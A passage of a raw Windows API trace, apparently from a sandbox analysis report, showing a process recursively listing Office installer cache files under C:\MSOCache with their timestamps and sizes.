cAlternateFileName="")) returned 1 [0194.753] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0194.753] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0194.753] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0194.753] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0194.753] FindClose (in: hFindFile=0x639608 | out: hFindFile=0x639608) returned 1 [0194.753] GetProcessHeap () returned 0x550000 [0194.753] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6295e8 | out: hHeap=0x550000) returned 1 [0194.753] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0194.753] GetProcessHeap () returned 0x550000 [0194.753] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6295e8 [0194.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639608 [0194.754] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.754] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0194.754] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0194.754] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0194.754] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0194.754] FindClose (in: hFindFile=0x639608 | out: hFindFile=0x639608) returned 1 [0194.754] GetProcessHeap () returned 0x550000 [0194.754] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6295e8 | out: hHeap=0x550000) returned 1 [0194.754] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0194.754] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0194.754] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0194.754] FindNextFileW (in: hFindFile=0x571038, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0194.754] FindClose (in: hFindFile=0x571038 | out: hFindFile=0x571038) returned 1 [0194.755] GetProcessHeap () returned 0x550000 [0194.755] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6185d8 | out: hHeap=0x550000) returned 1 [0194.755] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0194.755] GetProcessHeap () returned 0x550000 [0194.755] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6185d8 [0194.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639608 [0194.757] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.757] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0194.757] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0194.757] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0194.757] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0194.757] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0194.757] FindClose (in: hFindFile=0x639608 | out: hFindFile=0x639608) returned 1 [0194.758] GetProcessHeap () returned 0x550000 [0194.758] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6185d8 | out: hHeap=0x550000) returned 1 [0194.758] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0194.758] GetProcessHeap () returned 0x550000 [0194.758] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6185d8 [0194.758] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639608 [0194.760] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.760] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0194.760] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.msi", cAlternateFileName="INFOPA~1.MSI")) returned 1 [0194.760] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0194.760] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0194.761] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0194.761] FindClose (in: hFindFile=0x639608 | out: hFindFile=0x639608) returned 1 [0194.761] GetProcessHeap () returned 0x550000 [0194.761] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6185d8 | out: hHeap=0x550000) returned 1 [0194.761] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0194.762] GetProcessHeap () returned 0x550000 [0194.762] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6185d8 [0194.762] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639608 [0194.762] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.762] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0194.763] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0194.763] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0194.763] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0194.763] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0194.763] FindClose (in: hFindFile=0x639608 | out: hFindFile=0x639608) returned 1 [0194.763] GetProcessHeap () returned 0x550000 [0194.763] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6185d8 | out: hHeap=0x550000) returned 1 [0194.763] FindNextFileW (in: hFindFile=0x570ff8, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0194.763] GetProcessHeap () returned 0x550000 [0194.763] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6185d8 [0194.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639608 [0194.765] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.765] FindNextFileW (in: hFindFile=0x639608, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, 